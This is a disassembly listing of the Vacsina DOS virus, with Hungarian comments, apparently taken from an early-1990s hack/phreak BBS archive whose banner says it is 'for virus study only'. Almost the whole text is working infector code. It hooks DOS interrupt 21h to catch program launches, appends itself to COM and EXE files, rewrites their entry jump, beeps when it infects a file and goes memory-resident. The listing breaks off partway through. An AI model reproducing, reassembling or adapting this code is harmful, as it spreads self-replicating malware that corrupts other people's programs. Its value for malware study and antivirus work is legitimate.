home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / VACSV.ASM < prev    next >
Assembly Source File  |  1992-03-08  |  28KB  |  747 lines

  1. ;****************************************************************************;
  2. ;                                                                            ;
  3. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  4. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  5. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  6. ;                     -=]                            [=-                     ;
  7. ;                     -=] For All Your H/P/A/V Files [=-                     ;
  8. ;                     -=]    SysOp: Peter Venkman    [=-                     ;
  9. ;                     -=]                            [=-                     ;
  10. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  11. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  12. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  13. ;                                                                            ;
  14. ;                    *** NOT FOR GENERAL DISTRIBUTION ***                    ;
  15. ;                                                                            ;
  16. ; This File is for the Purpose of Virus Study Only! It Should not be Passed  ;
  17. ; Around Among the General Public. It Will be Very Useful for Learning how   ;
  18. ; Viruses Work and Propagate. But Anybody With Access to an Assembler can    ;
  19. ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding     ;
  20. ; Experience can Turn it Into a far More Malevolent Program Than it Already  ;
  21. ; Is. Keep This Code in Responsible Hands!                                   ;
  22. ;                                                                            ;
  23. ;****************************************************************************;
  24. Vacsina VIRUS:                        `90.04.13.
  25.                              Comment: Kövári László
  26.                                   (41) 21-033
  27.  
  28. Unassembled list:
  29.  
  30. 13B0:0100 E96908    JMP    096C
  31. 13B0:0103 49        DEC    CX
  32. 13B0:0104 60        DB    60
  33. 13B0:0105 6D        DB    6D
  34. 13B0:0106 206120    AND    [BX+DI+20],AH
  35. 13B0:0109 56        PUSH    SI
  36. 13B0:010A 61        DB    61
  37. 13B0:010B 63        DB    63
  38. 13B0:010C 7369        JNB    0177
  39. 13B0:010E 6E        DB    6E
  40. 13B0:010F 61        DB    61
  41. 13B0:0110 205649    AND    [BP+49],DL
  42. 13B0:0113 52        PUSH    DX
  43. 13B0:0114 55        PUSH    BP
  44. 13B0:0115 53        PUSH    BX
  45. 13B0:0116 210D        AND    [DI],CX
  46. 13B0:0118 0A24        OR    AH,[SI]
  47. 13B0:011A 0000        ADD    [BX+SI],AL
  48.  
  49. 13B0:05AA 0000        ADD    [BX+SI],AL
  50. 13B0:05AC B409        MOV    AH,09
  51. 13B0:05AE BA0301    MOV    DX,0103
  52. 13B0:05B1 CD21        INT    21
  53. 13B0:05B3 B400        MOV    AH,00
  54. 13B0:05B5 CD20        INT    20
  55. 13B0:05B7 005D00    ADD    [DI+00],BL
  56. 13B0:05BA 5E        POP    SI
  57. 13B0:05BB 00FF        ADD    BH,BH
  58. 13B0:05BD FF6000    JMP    [BX+SI+00]
  59. 13B0:05C0 4D        DEC    BP
  60. 13B0:05C1 07        POP    ES
  61. 13B0:05C2 004B00    ADD    [BP+DI+00],CL
  62. 13B0:05C5 0000        ADD    [BX+SI],AL
  63.  
  64. 13B0:05CD 0000        ADD    [BX+SI],AL
  65. 13B0:05CF 00720E    ADD    [BP+SI+0E],DH
  66. 13B0:05D2 AE        SCASB
  67. 13B0:05D3 0F        POP    CS
  68. 13B0:05D4 56        PUSH    SI
  69. 13B0:05D5 05200D    ADD    AX,0D20
  70. 13B0:05D8 2000        AND    [BX+SI],AL
  71. 13B0:05DA 050003    ADD    AX,0300
  72. 13B0:05DD 01CD        ADD    BP,CX
  73. 13B0:05DF 21B400CD    AND    [SI+CD00],SI
  74. 13B0:05E3 2000        AND    [BX+SI],AL
  75. 13B0:05E5 56        PUSH    SI
  76. 13B0:05E6 41        INC    CX
  77. 13B0:05E7 43        INC    BX
  78. 13B0:05E8 53        PUSH    BX
  79. 13B0:05E9 49        DEC    CX
  80. 13B0:05EA 4E        DEC    SI
  81. 13B0:05EB 41        INC    CX
  82. 13B0:05EC 2020        AND    [BX+SI],AH
  83. 13B0:05EE 2020        AND    [BX+SI],AH
  84. 13B0:05F0 0000        ADD    [BX+SI],AL
  85. 13B0:05F2 800000    ADD    BYTE PTR [BX+SI],00
  86. 13B0:05F5 0000        ADD    [BX+SI],AL
  87. 13B0:05F7 007C11    ADD    [SI+11],BH
  88. 13B0:05FA 37        AAA
  89. 13B0:05FB A800        TEST    AL,00
  90. 13B0:05FD 40        INC    AX
  91. 13B0:05FE C20046    RET    4600
  92. 13B0:0601 0A00        OR    AL,[BX+SI]
  93. 13B0:0603 0000        ADD    [BX+SI],AL
  94. 13B0:0605 0000        ADD    [BX+SI],AL
  95. 13B0:0607 0000        ADD    [BX+SI],AL
  96. 13B0:0609 2020        AND    [BX+SI],AH
  97. 13B0:060B 2020        AND    [BX+SI],AH
  98. 13B0:060D 2020        AND    [BX+SI],AH
  99. 13B0:060F 2020        AND    [BX+SI],AH
  100. 13B0:0611 2020        AND    [BX+SI],AH
  101. 13B0:0613 2020        AND    [BX+SI],AH
  102. 13B0:0615 2020        AND    [BX+SI],AH
  103. 13B0:0617 2020        AND    [BX+SI],AH
  104. 13B0:0619 2020        AND    [BX+SI],AH
  105. 13B0:061B 2020        AND    [BX+SI],AH
  106.  
  107. 13B0:061D E80000    CALL    0620
  108. 13B0:0620 5B        POP    BX
  109. 13B0:0621 50        PUSH    AX
  110. 13B0:0622 8CC0        MOV    AX,ES
  111. 13B0:0624 051000    ADD    AX,0010
  112. 13B0:0627 8B0E0E01    MOV    CX,[010E]
  113. 13B0:062B 03C8        ADD    CX,AX
  114. 13B0:062D 894FFB    MOV    [BX-05],CX
  115. 13B0:0630 8B0E1601    MOV    CX,[0116]
  116. 13B0:0634 03C8        ADD    CX,AX
  117. 13B0:0636 894FF7    MOV    [BX-09],CX
  118. 13B0:0639 8B0E1001    MOV    CX,[0110]
  119. 13B0:063D 894FF9    MOV    [BX-07],CX
  120. 13B0:0640 8B0E1401    MOV    CX,[0114]
  121. 13B0:0644 894FF5    MOV    [BX-0B],CX
  122. 13B0:0647 8B3E1801    MOV    DI,[0118]
  123. 13B0:064B 8B160801    MOV    DX,[0108]
  124. 13B0:064F B104        MOV    CL,04
  125. 13B0:0651 D3E2        SHL    DX,CL
  126. 13B0:0653 8B0E0601    MOV    CX,[0106]
  127. 13B0:0657 E317        JCXZ    0670
  128. 13B0:0659 26        ES:
  129. 13B0:065A C5B50001    LDS    SI,[DI+0100]
  130. 13B0:065E 83C704    ADD    DI,+04
  131. 13B0:0661 8CDD        MOV    BP,DS
  132. 13B0:0663 26        ES:
  133. 13B0:0664 032E0801    ADD    BP,[0108]
  134. 13B0:0668 03E8        ADD    BP,AX
  135. 13B0:066A 8EDD        MOV    DS,BP
  136. 13B0:066C 0104        ADD    [SI],AX
  137. 13B0:066E E2E9        LOOP    0659
  138. 13B0:0670 0E        PUSH    CS
  139. 13B0:0671 1F        POP    DS
  140. 13B0:0672 BF0001    MOV    DI,0100
  141. 13B0:0675 8BF2        MOV    SI,DX
  142. 13B0:0677 81C60001    ADD    SI,0100
  143. 13B0:067B 8BCB        MOV    CX,BX
  144. 13B0:067D 2BCE        SUB    CX,SI
  145. 13B0:067F F3        REPZ
  146. 13B0:0680 A4        MOVSB
  147. 13B0:0681 58        POP    AX
  148. 13B0:0682 FA        CLI
  149. 13B0:0683 8E57FB    MOV    SS,[BX-05]
  150. 13B0:0686 8B67F9    MOV    SP,[BX-07]
  151. 13B0:0689 FB        STI
  152. 13B0:068A FF6FF5    JMP    FAR [BX-0B]
  153. 13B0:068D B003        MOV    AL,03
  154. 13B0:068F CF        IRET
  155.  
  156.             ;INT    21h    rutin
  157. 13B0:0690 9C        PUSHF
  158. 13B0:0691 3D004B    CMP    AX,4B00     ;program indítás ?
  159. 13B0:0694 7406        JZ    069C        ;igen
  160. 13B0:0696 9D        POPF
  161. 13B0:0697 2E        CS:
  162. 13B0:0698 FF2E0000    JMP    FAR [0000]    ;INT    21h kezdetére
  163.  
  164. 13B0:069C 06        PUSH    ES
  165. 13B0:069D 1E        PUSH    DS
  166. 13B0:069E 55        PUSH    BP
  167. 13B0:069F 57        PUSH    DI
  168. 13B0:06A0 56        PUSH    SI
  169. 13B0:06A1 52        PUSH    DX
  170. 13B0:06A2 51        PUSH    CX
  171. 13B0:06A3 53        PUSH    BX
  172. 13B0:06A4 50        PUSH    AX
  173. 13B0:06A5 8BEC        MOV    BP,SP
  174. 13B0:06A7 B82435    MOV    AX,3524
  175. 13B0:06AA CD21        INT    21        ;kilépés kritikus hiba esetén
  176.                         ;rutin címének lekérdezése
  177. 13B0:06AC 2E        CS:
  178. 13B0:06AD 8C060600    MOV    [0006],ES    ;letárolása seg.
  179. 13B0:06B1 2E        CS:
  180. 13B0:06B2 891E0400    MOV    [0004],BX    ;offs
  181. 13B0:06B6 0E        PUSH    CS
  182. 13B0:06B7 1F        POP    DS
  183. 13B0:06B8 BABD00    MOV    DX,00BD
  184. 13B0:06BB B82425    MOV    AX,2524
  185. 13B0:06BE CD21        INT    21        ;INT 24h átállítása
  186. 13B0:06C0 0E        PUSH    CS
  187. 13B0:06C1 1F        POP    DS
  188. 13B0:06C2 BA1400    MOV    DX,0014
  189. 13B0:06C5 B40F        MOV    AH,0F
  190. 13B0:06C7 CD21        INT    21        ;FCB-s file nyitás
  191. 13B0:06C9 B80043    MOV    AX,4300
  192. 13B0:06CC 8E5E0E    MOV    DS,[BP+0E]
  193. 13B0:06CF 8B5606    MOV    DX,[BP+06]
  194. 13B0:06D2 CD21        INT    21        ;file attrib lekérd.
  195. 13B0:06D4 7303        JNB    06D9
  196. 13B0:06D6 E9DA01    JMP    08B3
  197. 13B0:06D9 2E        CS:
  198. 13B0:06DA 890E0800    MOV    [0008],CX
  199. 13B0:06DE B80143    MOV    AX,4301
  200. 13B0:06E1 80E1FE    AND    CL,FE
  201. 13B0:06E4 CD21        INT    21        ;file attrib beállítás
  202. 13B0:06E6 7303        JNB    06EB
  203. 13B0:06E8 E9C801    JMP    08B3
  204. 13B0:06EB B8023D    MOV    AX,3D02
  205. 13B0:06EE 8E5E0E    MOV    DS,[BP+0E]
  206. 13B0:06F1 8B5606    MOV    DX,[BP+06]
  207. 13B0:06F4 CD21        INT    21        ;file nyitás r/w
  208. 13B0:06F6 7303        JNB    06FB
  209. 13B0:06F8 E9A801    JMP    08A3
  210. 13B0:06FB 2E        CS:
  211. 13B0:06FC A30A00    MOV    [000A],AX
  212. 13B0:06FF 8BD8        MOV    BX,AX
  213. 13B0:0701 0E        PUSH    CS
  214. 13B0:0702 1F        POP    DS
  215. 13B0:0703 BA0C00    MOV    DX,000C
  216. 13B0:0706 B90600    MOV    CX,0006
  217. 13B0:0709 B43F        MOV    AH,3F
  218. 13B0:070B CD21        INT    21        ;elsö 6 byte olvasása
  219. 13B0:070D 7219        JB    0728
  220. 13B0:070F 3D0600    CMP    AX,0006
  221. 13B0:0712 7514        JNZ    0728        ;bejött mind ?
  222. 13B0:0714 2E        CS:
  223. 13B0:0715 813E0C004D5A    CMP    WORD PTR [000C],5A4D    ;EXE file ?
  224. 13B0:071B 7503        JNZ    0720            ;nem
  225. 13B0:071D E9B501    JMP    08D5
  226. 13B0:0720 2E        CS:
  227. 13B0:0721 803E0C00E9    CMP    BYTE PTR [000C],E9    ;COM file ?
  228. 13B0:0726 7403        JZ    072B            ;igen
  229. 13B0:0728 E96F01    JMP    089A
  230.             ;Teendök COM file esetén
  231. 13B0:072B B80242    MOV    AX,4202
  232. 13B0:072E B90000    MOV    CX,0000
  233. 13B0:0731 8BD1        MOV    DX,CX
  234. 13B0:0733 2E        CS:
  235. 13B0:0734 8B1E0A00    MOV    BX,[000A]
  236. 13B0:0738 CD21        INT    21        ;file méret lekérdezése
  237. 13B0:073A 72EC        JB    0728
  238. 13B0:073C 83FA00    CMP    DX,+00        ;65535 nél nagyobb ?
  239. 13B0:073F 75E7        JNZ    0728        ;igen
  240. 13B0:0741 3DB604    CMP    AX,04B6     ;1026 nál kisebb ?
  241. 13B0:0744 76E2        JBE    0728        ;igen
  242. 13B0:0746 3D93F5    CMP    AX,F593     ;62867-nél nagyobb ?
  243. 13B0:0749 73DD        JNB    0728        ;igen
  244. 13B0:074B 2E        CS:
  245. 13B0:074C A39E04    MOV    [049E],AX    ;méret megjegyzése
  246. 13B0:074F 2E        CS:
  247. 13B0:0750 A10D00    MOV    AX,[000D]
  248. 13B0:0753 050301    ADD    AX,0103
  249. 13B0:0756 2E        CS:
  250. 13B0:0757 A3A004    MOV    [04A0],AX
  251. 13B0:075A B80242    MOV    AX,4202
  252. 13B0:075D B9FFFF    MOV    CX,FFFF
  253. 13B0:0760 BAF8FF    MOV    DX,FFF8
  254. 13B0:0763 2E        CS:
  255. 13B0:0764 8B1E0A00    MOV    BX,[000A]
  256. 13B0:0768 CD21        INT    21        ;file méretének megnövelése
  257. 13B0:076A 72BC        JB    0728
  258. 13B0:076C 2E        CS:
  259. 13B0:076D 8B1E0A00    MOV    BX,[000A]
  260. 13B0:0771 0E        PUSH    CS
  261. 13B0:0772 1F        POP    DS
  262. 13B0:0773 BA0C00    MOV    DX,000C
  263. 13B0:0776 B90800    MOV    CX,0008
  264. 13B0:0779 B43F        MOV    AH,3F
  265. 13B0:077B CD21        INT    21        ;8 byte be
  266. 13B0:077D 72A9        JB    0728
  267. 13B0:077F 3D0800    CMP    AX,0008     ;bejött mind ?
  268. 13B0:0782 75A4        JNZ    0728        ;nem
  269. 13B0:0784 2E        CS:
  270. 13B0:0785 813E1000F47A    CMP    WORD PTR [0010],7AF4    ;?
  271. 13B0:078B 7577        JNZ    0804
  272. 13B0:078D 2E        CS:
  273. 13B0:078E 833E120005    CMP    WORD PTR [0012],+05    ;?
  274. 13B0:0793 90        NOP
  275. 13B0:0794 7392        JNB    0728
  276. 13B0:0796 2E        CS:
  277. 13B0:0797 A10C00    MOV    AX,[000C]    ;elsö beolvasott szó
  278. 13B0:079A 2E        CS:
  279. 13B0:079B A39E04    MOV    [049E],AX
  280. 13B0:079E 2E        CS:
  281. 13B0:079F A10E00    MOV    AX,[000E]
  282. 13B0:07A2 2E        CS:
  283. 13B0:07A3 A3A004    MOV    [04A0],AX
  284. 13B0:07A6 2D0301    SUB    AX,0103
  285. 13B0:07A9 2E        CS:
  286. 13B0:07AA A30C00    MOV    [000C],AX
  287. 13B0:07AD B80042    MOV    AX,4200
  288. 13B0:07B0 B90000    MOV    CX,0000
  289. 13B0:07B3 BA0100    MOV    DX,0001
  290. 13B0:07B6 2E        CS:
  291. 13B0:07B7 8B1E0A00    MOV    BX,[000A]
  292. 13B0:07BB CD21        INT    21        ;pozicionálás a file 2. bytejára
  293. 13B0:07BD 725F        JB    081E
  294. 13B0:07BF B440        MOV    AH,40
  295. 13B0:07C1 0E        PUSH    CS
  296. 13B0:07C2 1F        POP    DS
  297. 13B0:07C3 BA0C00    MOV    DX,000C
  298. 13B0:07C6 B90200    MOV    CX,0002
  299. 13B0:07C9 CD21        INT    21        ;2 byte kiírása
  300. 13B0:07CB 7251        JB    081E
  301. 13B0:07CD 3D0200    CMP    AX,0002     ;kiírta mind ?
  302. 13B0:07D0 754C        JNZ    081E        ;nem
  303. 13B0:07D2 2E        CS:
  304. 13B0:07D3 8B1E0A00    MOV    BX,[000A]
  305. 13B0:07D7 B445        MOV    AH,45
  306. 13B0:07D9 CD21        INT    21        ;file handle kettözése
  307. 13B0:07DB 7208        JB    07E5
  308. 13B0:07DD 8BD8        MOV    BX,AX
  309. 13B0:07DF B43E        MOV    AH,3E
  310. 13B0:07E1 CD21        INT    21        ;file zárása
  311. 13B0:07E3 7239        JB    081E
  312. 13B0:07E5 B80042    MOV    AX,4200
  313. 13B0:07E8 B90000    MOV    CX,0000
  314. 13B0:07EB 2E        CS:
  315. 13B0:07EC 8B169E04    MOV    DX,[049E]
  316. 13B0:07F0 2E        CS:
  317. 13B0:07F1 8B1E0A00    MOV    BX,[000A]
  318. 13B0:07F5 CD21        INT    21        ;elejére pozicionálás
  319. 13B0:07F7 7225        JB    081E
  320. 13B0:07F9 B440        MOV    AH,40
  321. 13B0:07FB 0E        PUSH    CS
  322. 13B0:07FC 1F        POP    DS
  323. 13B0:07FD B90000    MOV    CX,0000
  324. 13B0:0800 CD21        INT    21        ;file méret beállítása
  325. 13B0:0802 721A        JB    081E
  326. 13B0:0804 B80042    MOV    AX,4200
  327. 13B0:0807 B90000    MOV    CX,0000
  328. 13B0:080A 2E        CS:
  329. 13B0:080B 8B169E04    MOV    DX,[049E]
  330. 13B0:080F 83C20F    ADD    DX,+0F
  331. 13B0:0812 83E2F0    AND    DX,-10
  332. 13B0:0815 2E        CS:
  333. 13B0:0816 8B1E0A00    MOV    BX,[000A]
  334. 13B0:081A CD21        INT    21        ;file pointer mozgatása
  335. 13B0:081C 7303        JNB    0821
  336. 13B0:081E EB7A        JMP    089A
  337. 13B0:0820 90        NOP
  338. 13B0:0821 2E        CS:
  339. 13B0:0822 8B1E0A00    MOV    BX,[000A]
  340. 13B0:0826 8CCA        MOV    DX,CS
  341. 13B0:0828 4A        DEC    DX
  342. 13B0:0829 8EDA        MOV    DS,DX
  343. 13B0:082B BA0000    MOV    DX,0000
  344. 13B0:082E B9B604    MOV    CX,04B6
  345. 13B0:0831 B440        MOV    AH,40
  346. 13B0:0833 CD21        INT    21        ;önmagának kimásolása
  347. 13B0:0835 72E7        JB    081E
  348. 13B0:0837 3DB604    CMP    AX,04B6     ;sikerült ?
  349. 13B0:083A 75E2        JNZ    081E        ;nem
  350. 13B0:083C 2E        CS:
  351. 13B0:083D 8B1E0A00    MOV    BX,[000A]
  352. 13B0:0841 B445        MOV    AH,45
  353. 13B0:0843 CD21        INT    21        ;file handle kettözése
  354. 13B0:0845 7208        JB    084F
  355. 13B0:0847 8BD8        MOV    BX,AX
  356. 13B0:0849 B43E        MOV    AH,3E
  357. 13B0:084B CD21        INT    21        ;file zárása
  358. 13B0:084D 72CF        JB    081E
  359. 13B0:084F 2E        CS:
  360. 13B0:0850 C6060C00E9    MOV    BYTE PTR [000C],E9    ;COM ?
  361. 13B0:0855 2E        CS:
  362. 13B0:0856 8B169E04    MOV    DX,[049E]
  363. 13B0:085A 83C20F    ADD    DX,+0F
  364. 13B0:085D 83E2F0    AND    DX,-10
  365. 13B0:0860 83EA03    SUB    DX,+03
  366. 13B0:0863 81C2AC03    ADD    DX,03AC
  367. 13B0:0867 2E        CS:
  368. 13B0:0868 89160D00    MOV    [000D],DX
  369. 13B0:086C B80042    MOV    AX,4200
  370. 13B0:086F B90000    MOV    CX,0000
  371. 13B0:0872 8BD1        MOV    DX,CX
  372. 13B0:0874 2E        CS:
  373. 13B0:0875 8B1E0A00    MOV    BX,[000A]
  374. 13B0:0879 CD21        INT    21        ;pozicionálás az elejére
  375. 13B0:087B 72A1        JB    081E
  376. 13B0:087D 2E        CS:
  377. 13B0:087E 8B1E0A00    MOV    BX,[000A]
  378. 13B0:0882 0E        PUSH    CS
  379. 13B0:0883 1F        POP    DS
  380. 13B0:0884 BA0C00    MOV    DX,000C
  381. 13B0:0887 B90300    MOV    CX,0003
  382. 13B0:088A B440        MOV    AH,40
  383. 13B0:088C CD21        INT    21        ;3 byte JMP kiírása
  384. 13B0:088E 728E        JB    081E
  385. 13B0:0890 3D0300    CMP    AX,0003     ;sikerült ?
  386. 13B0:0893 7589        JNZ    081E        ;nem
  387. 13B0:0895 B8070E    MOV    AX,0E07
  388. 13B0:0898 CD10        INT    10        ;beep jelzés hogy fertözött
  389.  
  390. 13B0:089A B43E        MOV    AH,3E
  391. 13B0:089C 2E        CS:
  392. 13B0:089D 8B1E0A00    MOV    BX,[000A]
  393. 13B0:08A1 CD21        INT    21        ;file zárása
  394. 13B0:08A3 B80143    MOV    AX,4301
  395. 13B0:08A6 8E5E0E    MOV    DS,[BP+0E]
  396. 13B0:08A9 8B5606    MOV    DX,[BP+06]
  397. 13B0:08AC 2E        CS:
  398. 13B0:08AD 8B0E0800    MOV    CX,[0008]
  399. 13B0:08B1 CD21        INT    21        ;eredeti attrib visszaállítása
  400. 13B0:08B3 0E        PUSH    CS
  401. 13B0:08B4 1F        POP    DS
  402. 13B0:08B5 BA1400    MOV    DX,0014
  403. 13B0:08B8 B410        MOV    AH,10
  404. 13B0:08BA CD21        INT    21        ;FCB-s file zárása
  405. 13B0:08BC B82425    MOV    AX,2524
  406. 13B0:08BF 2E        CS:
  407. 13B0:08C0 C5160400    LDS    DX,[0004]
  408. 13B0:08C4 CD21        INT    21        ;INT 24 az eredetire
  409. 13B0:08C6 58        POP    AX
  410. 13B0:08C7 5B        POP    BX
  411. 13B0:08C8 59        POP    CX
  412. 13B0:08C9 5A        POP    DX
  413. 13B0:08CA 5E        POP    SI
  414. 13B0:08CB 5F        POP    DI
  415. 13B0:08CC 5D        POP    BP
  416. 13B0:08CD 1F        POP    DS
  417. 13B0:08CE 07        POP    ES
  418. 13B0:08CF 9D        POPF
  419. 13B0:08D0 2E        CS:
  420. 13B0:08D1 FF2E0000    JMP    FAR [0000]
  421.  
  422.             ;Teendök EXE file esetén
  423. 13B0:08D5 B80242    MOV    AX,4202
  424. 13B0:08D8 B90000    MOV    CX,0000
  425. 13B0:08DB 8BD1        MOV    DX,CX
  426. 13B0:08DD 2E        CS:
  427. 13B0:08DE 8B1E0A00    MOV    BX,[000A]
  428. 13B0:08E2 CD21        INT    21        ;file végére poz.
  429. 13B0:08E4 72B4        JB    089A
  430. 13B0:08E6 83FA00    CMP    DX,+00        ;nagyobb 65535-nél
  431. 13B0:08E9 75AF        JNZ    089A        ;igen
  432. 13B0:08EB 3DB3FD    CMP    AX,FDB3     ;nagyobb ?
  433. 13B0:08EE 73AA        JNB    089A        ;igen
  434. 13B0:08F0 2E        CS:
  435. 13B0:08F1 A39E04    MOV    [049E],AX    ;méret tárolása
  436. 13B0:08F4 2E        CS:
  437. 13B0:08F5 A11000    MOV    AX,[0010]
  438. 13B0:08F8 48        DEC    AX
  439. 13B0:08F9 B109        MOV    CL,09
  440. 13B0:08FB D3E0        SHL    AX,CL
  441. 13B0:08FD 2E        CS:
  442. 13B0:08FE 03060E00    ADD    AX,[000E]
  443. 13B0:0902 2E        CS:
  444. 13B0:0903 3B069E04    CMP    AX,[049E]
  445. 13B0:0907 7591        JNZ    089A
  446. 13B0:0909 2E        CS:
  447. 13B0:090A 8B1E0A00    MOV    BX,[000A]
  448. 13B0:090E B440        MOV    AH,40
  449. 13B0:0910 0E        PUSH    CS
  450. 13B0:0911 1F        POP    DS
  451. 13B0:0912 BA3900    MOV    DX,0039
  452. 13B0:0915 B98400    MOV    CX,0084
  453. 13B0:0918 CD21        INT    21        ;132 byte kiírása
  454. 13B0:091A 72C8        JB    08E4
  455. 13B0:091C 3D8400    CMP    AX,0084     ;sikerült ?
  456. 13B0:091F 75E6        JNZ    0907        ;nem
  457. 13B0:0921 2E        CS:
  458. 13B0:0922 8B1E0A00    MOV    BX,[000A]
  459. 13B0:0926 B445        MOV    AH,45
  460. 13B0:0928 CD21        INT    21        ;file handle megkettözése
  461. 13B0:092A 7208        JB    0934
  462. 13B0:092C 8BD8        MOV    BX,AX
  463. 13B0:092E B43E        MOV    AH,3E
  464. 13B0:0930 CD21        INT    21        ;file zárása
  465. 13B0:0932 72B0        JB    08E4
  466. 13B0:0934 B80042    MOV    AX,4200
  467. 13B0:0937 B90000    MOV    CX,0000
  468. 13B0:093A 8BD1        MOV    DX,CX
  469. 13B0:093C 2E        CS:
  470. 13B0:093D 8B1E0A00    MOV    BX,[000A]
  471. 13B0:0941 CD21        INT    21        ;file elejére poz.
  472. 13B0:0943 729F        JB    08E4
  473. 13B0:0945 2E        CS:
  474. 13B0:0946 C6060C00E9    MOV    BYTE PTR [000C],E9    ;COM ?
  475. 13B0:094B 2E        CS:
  476. 13B0:094C A19E04    MOV    AX,[049E]
  477. 13B0:094F 051100    ADD    AX,0011
  478. 13B0:0952 2E        CS:
  479. 13B0:0953 A30D00    MOV    [000D],AX
  480. 13B0:0956 2E        CS:
  481. 13B0:0957 8B1E0A00    MOV    BX,[000A]
  482. 13B0:095B B440        MOV    AH,40
  483. 13B0:095D 0E        PUSH    CS
  484. 13B0:095E 1F        POP    DS
  485. 13B0:095F BA0C00    MOV    DX,000C
  486. 13B0:0962 B90300    MOV    CX,0003
  487. 13B0:0965 CD21        INT    21        ;3 byte kiírása
  488. 13B0:0967 E930FF    JMP    089A        ;ugrás a file zárásra
  489. 13B0:096A 0000        ADD    [BX+SI],AL
  490.  
  491. 13B0:096C E80000    CALL    096F        ;Belépési pont
  492. 13B0:096F 5B        POP    BX        ;IP BX -be
  493. 13B0:0970 2E        CS:
  494. 13B0:0971 8947FB    MOV    [BX-05],AX
  495. 13B0:0974 B80000    MOV    AX,0000
  496. 13B0:0977 8EC0        MOV    ES,AX
  497. 13B0:0979 26        ES:
  498. 13B0:097A A1C500    MOV    AX,[00C5]
  499. 13B0:097D 3D7F39    CMP    AX,397F
  500. 13B0:0980 7508        JNZ    098A
  501. 13B0:0982 26        ES:
  502. 13B0:0983 A0C700    MOV    AL,[00C7]
  503. 13B0:0986 3C05        CMP    AL,05
  504. 13B0:0988 7332        JNB    09BC
  505. 13B0:098A 8BD4        MOV    DX,SP
  506. 13B0:098C 2BD3        SUB    DX,BX
  507. 13B0:098E 81EA6C0B    SUB    DX,0B6C
  508. 13B0:0992 7228        JB    09BC
  509. 13B0:0994 BAC504    MOV    DX,04C5
  510. 13B0:0997 B104        MOV    CL,04
  511. 13B0:0999 D3EA        SHR    DX,CL
  512. 13B0:099B 2E        CS:
  513. 13B0:099C 899754FC    MOV    [BX+FC54],DX
  514. 13B0:09A0 8CD9        MOV    CX,DS
  515. 13B0:09A2 03D1        ADD    DX,CX
  516. 13B0:09A4 8EC2        MOV    ES,DX
  517. 13B0:09A6 8BF3        MOV    SI,BX
  518. 13B0:09A8 81C651FC    ADD    SI,FC51
  519. 13B0:09AC 8BFE        MOV    DI,SI
  520. 13B0:09AE B9B604    MOV    CX,04B6
  521. 13B0:09B1 FC        CLD
  522. 13B0:09B2 F3        REPZ
  523. 13B0:09B3 A4        MOVSB
  524. 13B0:09B4 06        PUSH    ES
  525. 13B0:09B5 E80300    CALL    09BB
  526. 13B0:09B8 EB13        JMP    09CD
  527. 13B0:09BA 90        NOP
  528. 13B0:09BB CB        RETF
  529.  
  530. 13B0:09BC 8CC8        MOV    AX,CS
  531. 13B0:09BE 8ED8        MOV    DS,AX
  532. 13B0:09C0 8EC0        MOV    ES,AX
  533. 13B0:09C2 8ED0        MOV    SS,AX
  534. 13B0:09C4 2E        CS:
  535. 13B0:09C5 8B47FB    MOV    AX,[BX-05]
  536. 13B0:09C8 2E        CS:
  537. 13B0:09C9 FFA70101    JMP    [BX+0101]
  538.  
  539. 13B0:09CD BE0000    MOV    SI,0000
  540. 13B0:09D0 BF0000    MOV    DI,0000
  541. 13B0:09D3 8BCB        MOV    CX,BX
  542. 13B0:09D5 81C161FC    ADD    CX,FC61
  543. 13B0:09D9 8CC2        MOV    DX,ES
  544. 13B0:09DB 4A        DEC    DX
  545. 13B0:09DC 8EC2        MOV    ES,DX
  546. 13B0:09DE 8CDA        MOV    DX,DS
  547. 13B0:09E0 4A        DEC    DX
  548. 13B0:09E1 8EDA        MOV    DS,DX
  549. 13B0:09E3 03F1        ADD    SI,CX        ;CX=48f0
  550. 13B0:09E5 4E        DEC    SI
  551. 13B0:09E6 8BFE        MOV    DI,SI
  552. 13B0:09E8 FD        STD
  553. 13B0:09E9 F3        REPZ
  554. 13B0:09EA A4        MOVSB
  555. 13B0:09EB FC        CLD
  556. 13B0:09EC 2E        CS:
  557. 13B0:09ED 8B9754FC    MOV    DX,[BX+FC54]
  558. 13B0:09F1 26        ES:
  559. 13B0:09F2 29160300    SUB    [0003],DX
  560. 13B0:09F6 26        ES:
  561. 13B0:09F7 8C0E0100    MOV    [0001],CS
  562. 13B0:09FB BF0000    MOV    DI,0000
  563. 13B0:09FE 8BF3        MOV    SI,BX
  564. 13B0:0A00 81C651FC    ADD    SI,FC51
  565. 13B0:0A04 B9B604    MOV    CX,04B6     ;byte-ok száma
  566. 13B0:0A07 1E        PUSH    DS
  567. 13B0:0A08 07        POP    ES        ;ES=DS
  568. 13B0:0A09 0E        PUSH    CS
  569. 13B0:0A0A 1F        POP    DS        ;DS=CS
  570. 13B0:0A0B F3        REPZ
  571. 13B0:0A0C A4        MOVSB            ;önmagának átpakolása
  572. 13B0:0A0D 26        ES:
  573. 13B0:0A0E 832E030001    SUB    WORD PTR [0003],+01
  574. 13B0:0A13 53        PUSH    BX
  575. 13B0:0A14 8CCB        MOV    BX,CS
  576. 13B0:0A16 B450        MOV    AH,50
  577. 13B0:0A18 CD21        INT    21        ;? rezidens már ?
  578. 13B0:0A1A 5B        POP    BX
  579. 13B0:0A1B 2E        CS:
  580. 13B0:0A1C 8C0E3600    MOV    [0036],CS
  581. 13B0:0A20 2E        CS:
  582. 13B0:0A21 8B162C00    MOV    DX,[002C]    ;környezet címe
  583. 13B0:0A25 4A        DEC    DX
  584. 13B0:0A26 8EC2        MOV    ES,DX
  585. 13B0:0A28 26        ES:
  586. 13B0:0A29 8C0E0100    MOV    [0001],CS
  587. 13B0:0A2D B82135    MOV    AX,3521
  588. 13B0:0A30 53        PUSH    BX
  589. 13B0:0A31 CD21        INT    21        ;INT 21h cím lekérdezése
  590. 13B0:0A33 36        SS:
  591. 13B0:0A34 8C060200    MOV    [0002],ES
  592. 13B0:0A38 36        SS:
  593. 13B0:0A39 891E0000    MOV    [0000],BX
  594. 13B0:0A3D 5B        POP    BX
  595. 13B0:0A3E B82125    MOV    AX,2521
